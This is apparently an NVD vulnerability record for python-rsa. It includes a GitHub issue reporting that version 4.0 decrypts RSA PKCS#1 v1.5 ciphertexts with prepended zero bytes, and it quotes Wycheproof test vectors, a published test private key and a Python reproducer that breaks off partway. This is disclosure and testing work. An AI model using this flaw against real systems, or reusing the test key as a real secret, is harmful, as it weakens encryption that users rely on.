{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

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[ "327" ]

327

https://github.com/sybrenstuvel/python-rsa/issues/146#issuecomment-641845667

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "sybrenstuvel", "python-rsa" ]

Hello, Using this testcase from Google Wycheproof: ``` { "algorithm" : "RSAES-PKCS1-v1_5", "generatorVersion" : "0.8r12", "numberOfTests" : 65, "header" : [ "Test vectors of type RsaesPkcs1Decrypt are intended to check the decryption", "of RSA encrypted ciphertexts." ], "notes" : { "InvalidPkcs1Padding" : "This is a test vector with an invalid PKCS #1 padding. Implementations must ensure that different error conditions cannot be distinguished, since the information about the error condition can be used for a padding oracle attack. (RFC 8017 Section 7.2.2)" }, "schema" : "rsaes_pkcs1_decrypt_schema.json", "testGroups" : [ { "d" : "1a502d0eea6c7b69e21d5839101f705456ed0ef852fb47fe21071f54c5f33c8ceb066c62d727e32d26c58137329f89d3195325b795264c195d85472f7507dbd0961d2951f935a26b34f0ac24d15490e1128a9b7138915bc7dbfa8fe396357131c543ae9c98507368d9ceb08c1c6198a3eda7aea185a0e976cd42c22d00f003d9f19d96ea4c9afcbfe1441ccc802cfb0689f59d804c6a4e4f404c15174745ed6cb8bc88ef0b33ba0d2a80e35e43bc90f350052e72016e75b00d357a381c9c0d467069ca660887c987766349fcc43460b4aa516bce079edd87ba164307b752c277ed9528ad3ba0bf1877349ed3b7966a6c240110409bf4d0fade0c68fdadd847fd", "e" : "010001", "keysize" : 2048, "n" : "00b3510a2bcd4ce644c5b594ae5059e12b2f054b658d5da5959a2fdf1871b808bc3df3e628d2792e51aad5c124b43bda453dca5cde4bcf28e7bd4effba0cb4b742bbb6d5a013cb63d1aa3a89e02627ef5398b52c0cfd97d208abeb8d7c9bce0bbeb019a86ddb589beb29a5b74bf861075c677c81d430f030c265247af9d3c9140ccb65309d07e0adc1efd15cf17e7b055d7da3868e4648cc3a180f0ee7f8e1e7b18098a3391b4ce7161e98d57af8a947e201a463e2d6bbca8059e5706e9dfed8f4856465ffa712ed1aa18e888d12dc6aa09ce95ecfca83cc5b0b15db09c8647f5d524c0f2e7620a3416b9623cadc0f097af573261c98c8400aa12af38e43cad84d", "privateKeyJwk" : { "alg" : "RSA1_5", "d" : "GlAtDupse2niHVg5EB9wVFbtDvhS-0f-IQcfVMXzPIzrBmxi1yfjLSbFgTcyn4nTGVMlt5UmTBldhUcvdQfb0JYdKVH5NaJrNPCsJNFUkOESiptxOJFbx9v6j-OWNXExxUOunJhQc2jZzrCMHGGYo-2nrqGFoOl2zULCLQDwA9nxnZbqTJr8v-FEHMyALPsGifWdgExqTk9ATBUXR0XtbLi8iO8LM7oNKoDjXkO8kPNQBS5yAW51sA01ejgcnA1GcGnKZgiHyYd2Y0n8xDRgtKpRa84Hnt2HuhZDB7dSwnftlSitO6C_GHc0ntO3lmpsJAEQQJv00PreDGj9rdhH_Q", "dp" : "lql5jSUCY0ALtidzQogWJ-B87N-RGHsBuJ_0cxQYinwg-ySAAVbSyF1WZujfbO_5-YBN362A_1dn3lbswCnHK_bHF9-fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT-uwQ0misgR8SQE4W25dDGkdEYsz-BgCsyrCcu8J5C-tU", "dq" : "BVT0GwuH9opFcis74M9KseFlA0wakQAquPKenvni2rb-57JFW6-0IDfp0vflM_NIoUdBL9cggL58JjP12ALJHDnmvOzj5nXlmZUDPFVzcCDa2eizDQS4KK37kwStVKEaNaT1BwmHasWxGCNrp2pNfJopHdlgexad4dGCOFaRmZ8", "e" : "AQAB", "kid" : "none", "kty" : "RSA", "n" : "s1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi_fGHG4CLw98-Yo0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv-6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM_ZfSCKvrjXybzgu-sBmobdtYm-sppbdL-GEHXGd8gdQw8DDCZSR6-dPJFAzLZTCdB-Ctwe_RXPF-ewVdfaOGjkZIzDoYDw7n-OHnsYCYozkbTOcWHpjVevipR-IBpGPi1rvKgFnlcG6d_tj0hWRl_6cS7RqhjoiNEtxqoJzpXs_Kg8xbCxXbCchkf11STA8udiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQ", "p" : "7BJc834xCi_0YmO5suBinWOQAF7IiRPU-3G9TdhWEkSYquupg9e6K9lC5k0iP-t6I69NYF7-6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ_-FdkYlwuGSNttMQBzjCiVy0-y0-Wm3rRnFIsAtd0RlZ24aN3bFTWJINIs", "q" : "wnQqvNmJe9SwtnH5c_yCqPhKv1cF_4jdQZSGI6_p3KYNxlQzkHZ_6uvrU5V27ov6YbX8vKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4XdhiJBShgy-fKURvBQwtWmQHZJ3EGrcOI7PcwiyYc", "qi" : "HGQBidm_6MYjgzIQp2xCDG9E5ddg4lmRbOwq4rFWRWlg_ZXidHZgw4lWIlDwVQSc-rflwwOVSThKeiquscgk069wlIKoz5tYcCKgCx8HIttQ8zyybcIN0iRdUmXfYe4pg8k4whZ9zuEh_EtEecI35yjPYzq2CowOzQT85-O6pVk" }, "privateKeyPem" : "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAs1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi/fGHG4CLw98+Yo\n0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv+6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM\n/ZfSCKvrjXybzgu+sBmobdtYm+sppbdL+GEHXGd8gdQw8DDCZSR6+dPJFAzLZTCd\nB+Ctwe/RXPF+ewVdfaOGjkZIzDoYDw7n+OHnsYCYozkbTOcWHpjVevipR+IBpGPi\n1rvKgFnlcG6d/tj0hWRl/6cS7RqhjoiNEtxqoJzpXs/Kg8xbCxXbCchkf11STA8u\ndiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQIDAQABAoIBABpQLQ7qbHtp4h1Y\nORAfcFRW7Q74UvtH/iEHH1TF8zyM6wZsYtcn4y0mxYE3Mp+J0xlTJbeVJkwZXYVH\nL3UH29CWHSlR+TWiazTwrCTRVJDhEoqbcTiRW8fb+o/jljVxMcVDrpyYUHNo2c6w\njBxhmKPtp66hhaDpds1Cwi0A8APZ8Z2W6kya/L/hRBzMgCz7Bon1nYBMak5PQEwV\nF0dF7Wy4vIjvCzO6DSqA415DvJDzUAUucgFudbANNXo4HJwNRnBpymYIh8mHdmNJ\n/MQ0YLSqUWvOB57dh7oWQwe3UsJ37ZUorTugvxh3NJ7Tt5ZqbCQBEECb9ND63gxo\n/a3YR/0CgYEA7BJc834xCi/0YmO5suBinWOQAF7IiRPU+3G9TdhWEkSYquupg9e6\nK9lC5k0iP+t6I69NYF7+6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ/+F\ndkYlwuGSNttMQBzjCiVy0+y0+Wm3rRnFIsAtd0RlZ24aN3bFTWJINIsCgYEAwnQq\nvNmJe9SwtnH5c/yCqPhKv1cF/4jdQZSGI6/p3KYNxlQzkHZ/6uvrU5V27ov6YbX8\nvKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4Xd\nhiJBShgy+fKURvBQwtWmQHZJ3EGrcOI7PcwiyYcCgYEAlql5jSUCY0ALtidzQogW\nJ+B87N+RGHsBuJ/0cxQYinwg+ySAAVbSyF1WZujfbO/5+YBN362A/1dn3lbswCnH\nK/bHF9+fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT+uwQ0misgR8SQE4W25dDG\nkdEYsz+BgCsyrCcu8J5C+tUCgYAFVPQbC4f2ikVyKzvgz0qx4WUDTBqRACq48p6e\n+eLatv7nskVbr7QgN+nS9+Uz80ihR0Ev1yCAvnwmM/XYAskcOea87OPmdeWZlQM8\nVXNwINrZ6LMNBLgorfuTBK1UoRo1pPUHCYdqxbEYI2unak18mikd2WB7Fp3h0YI4\nVpGZnwKBgBxkAYnZv+jGI4MyEKdsQgxvROXXYOJZkWzsKuKxVkVpYP2V4nR2YMOJ\nViJQ8FUEnPq35cMDlUk4SnoqrrHIJNOvcJSCqM+bWHAioAsfByLbUPM8sm3CDdIk\nXVJl32HuKYPJOMIWfc7hIfxLRHnCN+coz2M6tgqMDs0E/OfjuqVZ\n-----END RSA PRIVATE KEY-----", "privateKeyPkcs8" : "308204bd020100300d06092a864886f70d0101010500048204a7308204a30201000282010100b3510a2bcd4ce644c5b594ae5059e12b2f054b658d5da5959a2fdf1871b808bc3df3e628d2792e51aad5c124b43bda453dca5cde4bcf28e7bd4effba0cb4b742bbb6d5a013cb63d1aa3a89e02627ef5398b52c0cfd97d208abeb8d7c9bce0bbeb019a86ddb589beb29a5b74bf861075c677c81d430f030c265247af9d3c9140ccb65309d07e0adc1efd15cf17e7b055d7da3868e4648cc3a180f0ee7f8e1e7b18098a3391b4ce7161e98d57af8a947e201a463e2d6bbca8059e5706e9dfed8f4856465ffa712ed1aa18e888d12dc6aa09ce95ecfca83cc5b0b15db09c8647f5d524c0f2e7620a3416b9623cadc0f097af573261c98c8400aa12af38e43cad84d0203010001028201001a502d0eea6c7b69e21d5839101f705456ed0ef852fb47fe21071f54c5f33c8ceb066c62d727e32d26c58137329f89d3195325b795264c195d85472f7507dbd0961d2951f935a26b34f0ac24d15490e1128a9b7138915bc7dbfa8fe396357131c543ae9c98507368d9ceb08c1c6198a3eda7aea185a0e976cd42c22d00f003d9f19d96ea4c9afcbfe1441ccc802cfb0689f59d804c6a4e4f404c15174745ed6cb8bc88ef0b33ba0d2a80e35e43bc90f350052e72016e75b00d357a381c9c0d467069ca660887c987766349fcc43460b4aa516bce079edd87ba164307b752c277ed9528ad3ba0bf1877349ed3b7966a6c240110409bf4d0fade0c68fdadd847fd02818100ec125cf37e310a2ff46263b9b2e0629d6390005ec88913d4fb71bd4dd856124498aaeba983d7ba2bd942e64d223feb7a23af4d605efeea6bd70d39afe99d35a3aa15e74a1768778093be0edd4a8d09b2def6dc9b67ff85764625c2e19236db4c401ce30a2572d3ecb4f969b7ad19c522c02d774465676e1a3776c54d6248348b02818100c2742abcd9897bd4b0b671f973fc82a8f84abf5705ff88dd41948623afe9dca60dc6543390767feaebeb539576ee8bfa61b5fcbca94a7cef75a09150c540fa9694dd8004ad23718c889049219369c99f4458d4afc148f6f07df87324a96d9cf7b385dd8622414a1832f9f29446f050c2d5a6407649dc41ab70e23b3dcc22c9870281810096a9798d250263400bb6277342881627e07cecdf91187b01b89ff47314188a7c20fb24800156d2c85d5666e8df6ceff9f9804ddfad80ff5767de56ecc029c72bf6c717df9f64daafc29acf9dc7908f9a0ad67e20e8949936ccba18d021a2c4febb04349a2b2047c4901385b6e5d0c691d118b33f81802b32ac272ef09e42fad50281800554f41b0b87f68a45722b3be0cf4ab1e165034c1a91002ab8f29e9ef9e2dab6fee7b2455bafb42037e9d2f7e533f348a147412fd72080be7c2633f5d802c91c39e6bcece3e675e59995033c55737020dad9e8b30d04b828adfb9304ad54a11a35a4f50709876ac5b118236ba76a4d7c9a291dd9607b169de1d182385691999f0281801c640189d9bfe8c623833210a76c420c6f44e5d760e259916cec2ae2b156456960fd95e2747660c389562250f055049cfab7e5c3039549384a7a2aaeb1c824d3af709482a8cf9b587022a00b1f0722db50f33cb26dc20dd2245d5265df61ee2983c938c2167dcee121fc4b4479c237e728cf633ab60a8c0ecd04fce7e3baa559", "type" : "RsaesPkcs1Decrypt", ``` ``` { "tcId" : 31, "comment" : "prepended bytes to ciphertext", "msg" : "54657374", "ct" : "00004501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d", "result" : "invalid", "flags" : [] }, ``` I found that python-rsa (I'm using python-rsa 4.0) does not detect if bytes "0" have been prepended to the ciphertext using 2048, 3072 and 4096 bit keys and it decrypts the ciphertext without error. However, python-rsa detects if bytes "0" have been appended to the ciphertext and does not decrypt the ciphertext. You can see this behaviour with 2048, 3072 and 4096 bit keys and the testvectors from Google Wycheproof below: 2048-bit test vector: ``` import rsa from rsa import PrivateKey import json """ { "algorithm" : "RSAES-PKCS1-v1_5", "generatorVersion" : "0.8r12", "numberOfTests" : 65, "header" : [ "Test vectors of type RsaesPkcs1Decrypt are intended to check the decryption", "of RSA encrypted ciphertexts." ], "notes" : { "InvalidPkcs1Padding" : "This is a test vector with an invalid PKCS #1 padding. Implementations must ensure that different error conditions cannot be distinguished, since the information about the error condition can be used for a padding oracle attack. (RFC 8017 Section 7.2.2)" }, "schema" : "rsaes_pkcs1_decrypt_schema.json", "testGroups" : [ { "d" : "1a502d0eea6c7b69e21d5839101f705456ed0ef852fb47fe21071f54c5f33c8ceb066c62d727e32d26c58137329f89d3195325b795264c195d85472f7507dbd0961d2951f935a26b34f0ac24d15490e1128a9b7138915bc7dbfa8fe396357131c543ae9c98507368d9ceb08c1c6198a3eda7aea185a0e976cd42c22d00f003d9f19d96ea4c9afcbfe1441ccc802cfb0689f59d804c6a4e4f404c15174745ed6cb8bc88ef0b33ba0d2a80e35e43bc90f350052e72016e75b00d357a381c9c0d467069ca660887c987766349fcc43460b4aa516bce079edd87ba164307b752c277ed9528ad3ba0bf1877349ed3b7966a6c240110409bf4d0fade0c68fdadd847fd", "e" : "010001", "keysize" : 2048, "n" : "00b3510a2bcd4ce644c5b594ae5059e12b2f054b658d5da5959a2fdf1871b808bc3df3e628d2792e51aad5c124b43bda453dca5cde4bcf28e7bd4effba0cb4b742bbb6d5a013cb63d1aa3a89e02627ef5398b52c0cfd97d208abeb8d7c9bce0bbeb019a86ddb589beb29a5b74bf861075c677c81d430f030c265247af9d3c9140ccb65309d07e0adc1efd15cf17e7b055d7da3868e4648cc3a180f0ee7f8e1e7b18098a3391b4ce7161e98d57af8a947e201a463e2d6bbca8059e5706e9dfed8f4856465ffa712ed1aa18e888d12dc6aa09ce95ecfca83cc5b0b15db09c8647f5d524c0f2e7620a3416b9623cadc0f097af573261c98c8400aa12af38e43cad84d", "privateKeyJwk" : { "alg" : "RSA1_5", "d" : "GlAtDupse2niHVg5EB9wVFbtDvhS-0f-IQcfVMXzPIzrBmxi1yfjLSbFgTcyn4nTGVMlt5UmTBldhUcvdQfb0JYdKVH5NaJrNPCsJNFUkOESiptxOJFbx9v6j-OWNXExxUOunJhQc2jZzrCMHGGYo-2nrqGFoOl2zULCLQDwA9nxnZbqTJr8v-FEHMyALPsGifWdgExqTk9ATBUXR0XtbLi8iO8LM7oNKoDjXkO8kPNQBS5yAW51sA01ejgcnA1GcGnKZgiHyYd2Y0n8xDRgtKpRa84Hnt2HuhZDB7dSwnftlSitO6C_GHc0ntO3lmpsJAEQQJv00PreDGj9rdhH_Q", "dp" : "lql5jSUCY0ALtidzQogWJ-B87N-RGHsBuJ_0cxQYinwg-ySAAVbSyF1WZujfbO_5-YBN362A_1dn3lbswCnHK_bHF9-fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT-uwQ0misgR8SQE4W25dDGkdEYsz-BgCsyrCcu8J5C-tU", "dq" : "BVT0GwuH9opFcis74M9KseFlA0wakQAquPKenvni2rb-57JFW6-0IDfp0vflM_NIoUdBL9cggL58JjP12ALJHDnmvOzj5nXlmZUDPFVzcCDa2eizDQS4KK37kwStVKEaNaT1BwmHasWxGCNrp2pNfJopHdlgexad4dGCOFaRmZ8", "e" : "AQAB", "kid" : "none", "kty" : "RSA", "n" : "s1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi_fGHG4CLw98-Yo0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv-6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM_ZfSCKvrjXybzgu-sBmobdtYm-sppbdL-GEHXGd8gdQw8DDCZSR6-dPJFAzLZTCdB-Ctwe_RXPF-ewVdfaOGjkZIzDoYDw7n-OHnsYCYozkbTOcWHpjVevipR-IBpGPi1rvKgFnlcG6d_tj0hWRl_6cS7RqhjoiNEtxqoJzpXs_Kg8xbCxXbCchkf11STA8udiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQ", "p" : "7BJc834xCi_0YmO5suBinWOQAF7IiRPU-3G9TdhWEkSYquupg9e6K9lC5k0iP-t6I69NYF7-6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ_-FdkYlwuGSNttMQBzjCiVy0-y0-Wm3rRnFIsAtd0RlZ24aN3bFTWJINIs", "q" : "wnQqvNmJe9SwtnH5c_yCqPhKv1cF_4jdQZSGI6_p3KYNxlQzkHZ_6uvrU5V27ov6YbX8vKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4XdhiJBShgy-fKURvBQwtWmQHZJ3EGrcOI7PcwiyYc", "qi" : "HGQBidm_6MYjgzIQp2xCDG9E5ddg4lmRbOwq4rFWRWlg_ZXidHZgw4lWIlDwVQSc-rflwwOVSThKeiquscgk069wlIKoz5tYcCKgCx8HIttQ8zyybcIN0iRdUmXfYe4pg8k4whZ9zuEh_EtEecI35yjPYzq2CowOzQT85-O6pVk" }, "privateKeyPem" : "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAs1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi/fGHG4CLw98+Yo\n0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv+6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM\n/ZfSCKvrjXybzgu+sBmobdtYm+sppbdL+GEHXGd8gdQw8DDCZSR6+dPJFAzLZTCd\nB+Ctwe/RXPF+ewVdfaOGjkZIzDoYDw7n+OHnsYCYozkbTOcWHpjVevipR+IBpGPi\n1rvKgFnlcG6d/tj0hWRl/6cS7RqhjoiNEtxqoJzpXs/Kg8xbCxXbCchkf11STA8u\ndiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQIDAQABAoIBABpQLQ7qbHtp4h1Y\nORAfcFRW7Q74UvtH/iEHH1TF8zyM6wZsYtcn4y0mxYE3Mp+J0xlTJbeVJkwZXYVH\nL3UH29CWHSlR+TWiazTwrCTRVJDhEoqbcTiRW8fb+o/jljVxMcVDrpyYUHNo2c6w\njBxhmKPtp66hhaDpds1Cwi0A8APZ8Z2W6kya/L/hRBzMgCz7Bon1nYBMak5PQEwV\nF0dF7Wy4vIjvCzO6DSqA415DvJDzUAUucgFudbANNXo4HJwNRnBpymYIh8mHdmNJ\n/MQ0YLSqUWvOB57dh7oWQwe3UsJ37ZUorTugvxh3NJ7Tt5ZqbCQBEECb9ND63gxo\n/a3YR/0CgYEA7BJc834xCi/0YmO5suBinWOQAF7IiRPU+3G9TdhWEkSYquupg9e6\nK9lC5k0iP+t6I69NYF7+6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ/+F\ndkYlwuGSNttMQBzjCiVy0+y0+Wm3rRnFIsAtd0RlZ24aN3bFTWJINIsCgYEAwnQq\nvNmJe9SwtnH5c/yCqPhKv1cF/4jdQZSGI6/p3KYNxlQzkHZ/6uvrU5V27ov6YbX8\nvKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4Xd\nhiJBShgy+fKURvBQwtWmQHZJ3EGrcOI7PcwiyYcCgYEAlql5jSUCY0ALtidzQogW\nJ+B87N+RGHsBuJ/0cxQYinwg+ySAAVbSyF1WZujfbO/5+YBN362A/1dn3lbswCnH\nK/bHF9+fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT+uwQ0misgR8SQE4W25dDG\nkdEYsz+BgCsyrCcu8J5C+tUCgYAFVPQbC4f2ikVyKzvgz0qx4WUDTBqRACq48p6e\n+eLatv7nskVbr7QgN+nS9+Uz80ihR0Ev1yCAvnwmM/XYAskcOea87OPmdeWZlQM8\nVXNwINrZ6LMNBLgorfuTBK1UoRo1pPUHCYdqxbEYI2unak18mikd2WB7Fp3h0YI4\nVpGZnwKBgBxkAYnZv+jGI4MyEKdsQgxvROXXYOJZkWzsKuKxVkVpYP2V4nR2YMOJ\nViJQ8FUEnPq35cMDlUk4SnoqrrHIJNOvcJSCqM+bWHAioAsfByLbUPM8sm3CDdIk\nXVJl32HuKYPJOMIWfc7hIfxLRHnCN+coz2M6tgqMDs0E/OfjuqVZ\n-----END RSA PRIVATE KEY-----", "privateKeyPkcs8" : "308204bd020100300d06092a864886f70d0101010500048204a7308204a30201000282010100b3510a2bcd4ce644c5b594ae5059e12b2f054b658d5da5959a2fdf1871b808bc3df3e628d2792e51aad5c124b43bda453dca5cde4bcf28e7bd4effba0cb4b742bbb6d5a013cb63d1aa3a89e02627ef5398b52c0cfd97d208abeb8d7c9bce0bbeb019a86ddb589beb29a5b74bf861075c677c81d430f030c265247af9d3c9140ccb65309d07e0adc1efd15cf17e7b055d7da3868e4648cc3a180f0ee7f8e1e7b18098a3391b4ce7161e98d57af8a947e201a463e2d6bbca8059e5706e9dfed8f4856465ffa712ed1aa18e888d12dc6aa09ce95ecfca83cc5b0b15db09c8647f5d524c0f2e7620a3416b9623cadc0f097af573261c98c8400aa12af38e43cad84d0203010001028201001a502d0eea6c7b69e21d5839101f705456ed0ef852fb47fe21071f54c5f33c8ceb066c62d727e32d26c58137329f89d3195325b795264c195d85472f7507dbd0961d2951f935a26b34f0ac24d15490e1128a9b7138915bc7dbfa8fe396357131c543ae9c98507368d9ceb08c1c6198a3eda7aea185a0e976cd42c22d00f003d9f19d96ea4c9afcbfe1441ccc802cfb0689f59d804c6a4e4f404c15174745ed6cb8bc88ef0b33ba0d2a80e35e43bc90f350052e72016e75b00d357a381c9c0d467069ca660887c987766349fcc43460b4aa516bce079edd87ba164307b752c277ed9528ad3ba0bf1877349ed3b7966a6c240110409bf4d0fade0c68fdadd847fd02818100ec125cf37e310a2ff46263b9b2e0629d6390005ec88913d4fb71bd4dd856124498aaeba983d7ba2bd942e64d223feb7a23af4d605efeea6bd70d39afe99d35a3aa15e74a1768778093be0edd4a8d09b2def6dc9b67ff85764625c2e19236db4c401ce30a2572d3ecb4f969b7ad19c522c02d774465676e1a3776c54d6248348b02818100c2742abcd9897bd4b0b671f973fc82a8f84abf5705ff88dd41948623afe9dca60dc6543390767feaebeb539576ee8bfa61b5fcbca94a7cef75a09150c540fa9694dd8004ad23718c889049219369c99f4458d4afc148f6f07df87324a96d9cf7b385dd8622414a1832f9f29446f050c2d5a6407649dc41ab70e23b3dcc22c9870281810096a9798d250263400bb6277342881627e07cecdf91187b01b89ff47314188a7c20fb24800156d2c85d5666e8df6ceff9f9804ddfad80ff5767de56ecc029c72bf6c717df9f64daafc29acf9dc7908f9a0ad67e20e8949936ccba18d021a2c4febb04349a2b2047c4901385b6e5d0c691d118b33f81802b32ac272ef09e42fad50281800554f41b0b87f68a45722b3be0cf4ab1e165034c1a91002ab8f29e9ef9e2dab6fee7b2455bafb42037e9d2f7e533f348a147412fd72080be7c2633f5d802c91c39e6bcece3e675e59995033c55737020dad9e8b30d04b828adfb9304ad54a11a35a4f50709876ac5b118236ba76a4d7c9a291dd9607b169de1d182385691999f0281801c640189d9bfe8c623833210a76c420c6f44e5d760e259916cec2ae2b156456960fd95e2747660c389562250f055049cfab7e5c3039549384a7a2aaeb1c824d3af709482a8cf9b587022a00b1f0722db50f33cb26dc20dd2245d5265df61ee2983c938c2167dcee121fc4b4479c237e728cf633ab60a8c0ecd04fce7e3baa559", "type" : "RsaesPkcs1Decrypt", """ """ "tcId" : 31, "comment" : "prepended bytes to ciphertext", "msg" : "54657374", "ct" : "00004501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d", "result" : "invalid", "flags" : [] }, """ print("\nTest with prepended bytes to ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAs1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi/fGHG4CLw98+Yo\n0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv+6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM\n/ZfSCKvrjXybzgu+sBmobdtYm+sppbdL+GEHXGd8gdQw8DDCZSR6+dPJFAzLZTCd\nB+Ctwe/RXPF+ewVdfaOGjkZIzDoYDw7n+OHnsYCYozkbTOcWHpjVevipR+IBpGPi\n1rvKgFnlcG6d/tj0hWRl/6cS7RqhjoiNEtxqoJzpXs/Kg8xbCxXbCchkf11STA8u\ndiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQIDAQABAoIBABpQLQ7qbHtp4h1Y\nORAfcFRW7Q74UvtH/iEHH1TF8zyM6wZsYtcn4y0mxYE3Mp+J0xlTJbeVJkwZXYVH\nL3UH29CWHSlR+TWiazTwrCTRVJDhEoqbcTiRW8fb+o/jljVxMcVDrpyYUHNo2c6w\njBxhmKPtp66hhaDpds1Cwi0A8APZ8Z2W6kya/L/hRBzMgCz7Bon1nYBMak5PQEwV\nF0dF7Wy4vIjvCzO6DSqA415DvJDzUAUucgFudbANNXo4HJwNRnBpymYIh8mHdmNJ\n/MQ0YLSqUWvOB57dh7oWQwe3UsJ37ZUorTugvxh3NJ7Tt5ZqbCQBEECb9ND63gxo\n/a3YR/0CgYEA7BJc834xCi/0YmO5suBinWOQAF7IiRPU+3G9TdhWEkSYquupg9e6\nK9lC5k0iP+t6I69NYF7+6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ/+F\ndkYlwuGSNttMQBzjCiVy0+y0+Wm3rRnFIsAtd0RlZ24aN3bFTWJINIsCgYEAwnQq\nvNmJe9SwtnH5c/yCqPhKv1cF/4jdQZSGI6/p3KYNxlQzkHZ/6uvrU5V27ov6YbX8\nvKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4Xd\nhiJBShgy+fKURvBQwtWmQHZJ3EGrcOI7PcwiyYcCgYEAlql5jSUCY0ALtidzQogW\nJ+B87N+RGHsBuJ/0cxQYinwg+ySAAVbSyF1WZujfbO/5+YBN362A/1dn3lbswCnH\nK/bHF9+fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT+uwQ0misgR8SQE4W25dDG\nkdEYsz+BgCsyrCcu8J5C+tUCgYAFVPQbC4f2ikVyKzvgz0qx4WUDTBqRACq48p6e\n+eLatv7nskVbr7QgN+nS9+Uz80ihR0Ev1yCAvnwmM/XYAskcOea87OPmdeWZlQM8\nVXNwINrZ6LMNBLgorfuTBK1UoRo1pPUHCYdqxbEYI2unak18mikd2WB7Fp3h0YI4\nVpGZnwKBgBxkAYnZv+jGI4MyEKdsQgxvROXXYOJZkWzsKuKxVkVpYP2V4nR2YMOJ\nViJQ8FUEnPq35cMDlUk4SnoqrrHIJNOvcJSCqM+bWHAioAsfByLbUPM8sm3CDdIk\nXVJl32HuKYPJOMIWfc7hIfxLRHnCN+coz2M6tgqMDs0E/OfjuqVZ\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = 